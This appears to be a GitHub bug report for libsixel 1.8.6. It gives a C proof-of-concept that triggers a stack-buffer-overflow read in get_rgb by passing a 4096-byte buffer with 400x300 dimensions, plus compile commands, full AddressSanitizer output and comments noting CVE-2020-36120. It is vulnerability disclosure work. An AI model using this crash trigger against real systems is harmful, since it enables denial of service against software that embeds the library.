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Version Libsixel :1.8.6 Ubuntu 20.04 LTS I fuzzed the sixelapi
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include "sixel.h" int main(){ sixel_encoder_t *encoder=NULL; int ncolors=16; char opt[256]={0}; SIXELSTATUS status; unsigned char data[4096]={0xa,0xa,0xa,0xa,0xc7,0xc7,0xc7,0xc7,0xc7,0xc7,0xc7, 0xc7,0xc7,0xa,0xc7,0xc7,0xf2,0x60,0xa,0x60,0x60,0x60, 0x60,0xa,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60, 0x60,0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0xa,0x60, 0x60,0x60,0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0x60, 0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60, 0x60,0x60,0x60,0x60,0x60,0xa,0x60,0x60,0x60,0x60,0x60, 0x60,0x60,0x60,0x0,0xa,0x0,0xa,0xa,0x0,0x0,0xa,0xa,0x0, 0x0,0xa,0xa,0x0,0xa,0xa,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}; status = sixel_encoder_new(&encoder,NULL); if(SIXEL_FAILED(status)) return 0; sprintf(opt, "%d", ncolors); status = sixel_encoder_setopt(encoder,SIXEL_OPTFLAG_COLORS,opt); if(SIXEL_FAILED(status)) return 0; status = sixel_encoder_encode_bytes(encoder,(unsigned char*)data,400,300,SIXEL_PIXELFORMAT_RGBA8888,NULL,(-1)); if(SIXEL_FAILED(status)) return 0; printf("[+] end\n"); sixel_encoder_unref(encoder); return 0; }
Please use the following method to compile the attached cc file and run
clang++ -g -fsanitize=address -I/usr/local/include -L/usr/local/lib -lsixel poc.cc -o poc
poc
Because uploading the zip failed,I switched to a txt file,please download the attachment and modify the suffix to cc
==344010==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff79a6ae60 at pc 0x7f2d3c751a0c bp 0x7fff79a68d00 sp 0x7fff79a68cf8 READ of size 1 at 0x7fff79a6ae60 thread T0 #0 0x7f2d3c751a0b in get_rgb /home/hx/userData/tools/libsixel/src/pixelformat.c:50:18 #1 0x7f2d3c750fe9 in expand_rgb /home/hx/userData/tools/libsixel/src/pixelformat.c:186:13 #2 0x7f2d3c750a8d in sixel_helper_normalize_pixelformat /home/hx/userData/tools/libsixel/src/pixelformat.c:294:9 #3 0x7f2d3c74712a in sixel_dither_initialize /home/hx/userData/tools/libsixel/src/dither.c:559:18 #4 0x7f2d3c7cf3c6 in sixel_encoder_prepare_palette /home/hx/userData/tools/libsixel/src/encoder.c:575:14 #5 0x7f2d3c7cc367 in sixel_encoder_encode_frame /home/hx/userData/tools/libsixel/src/encoder.c:981:14 #6 0x7f2d3c7cbea2 in sixel_encoder_encode_bytes /home/hx/userData/tools/libsixel/src/encoder.c:1816:14 #7 0x4c6dbb in main /home/hx/userData/tools/libsixel/demo2.cc:34:11 #8 0x7f2d3c1650b2 in __libc_start_main /build/glibc-ZN95T4/glibc-2.31/csu/../csu/libc-start.c:308:16 #9 0x41c31d in _start (/home/hx/userData/tools/libsixel/demo2+0x41c31d) Address 0x7fff79a6ae60 is located in stack of thread T0 at offset 4480 in frame #0 0x4c6abf in main /home/hx/userData/tools/libsixel/demo2.cc:8 This frame has 3 object(s): [32, 40) 'encoder' (line 10) [64, 320) 'opt' (line 12) [384, 4480) 'data' (line 14) <== Memory access at offset 4480 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hx/userData/tools/libsixel/src/pixelformat.c:50:18 in get_rgb Shadow bytes around the buggy address: 0x10006f345570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f345580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f345590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f3455a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f3455b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10006f3455c0: 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 0x10006f3455d0: f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 0x10006f3455e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f3455f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f345600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10006f345610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==344010==ABORTING
The text was updated successfully, but these errors were encountered:
It appears that CVE-2020-36120 was assigned to this issue.
This issue was closed in #143 (comment), was it fixed in master branch?
Sorry, something went wrong.
@saitoha what is status of this bug report? Is this fixed in some commit? Do you have plans to keep maintaining libsixel?
No branches or pull requests
Version Libsixel :1.8.6
Ubuntu 20.04 LTS
I fuzzed the sixelapi
Please use the following method to compile the attached cc file and run
poc
Because uploading the zip failed,I switched to a txt file,please download the attachment and modify the suffix to cc
The text was updated successfully, but these errors were encountered: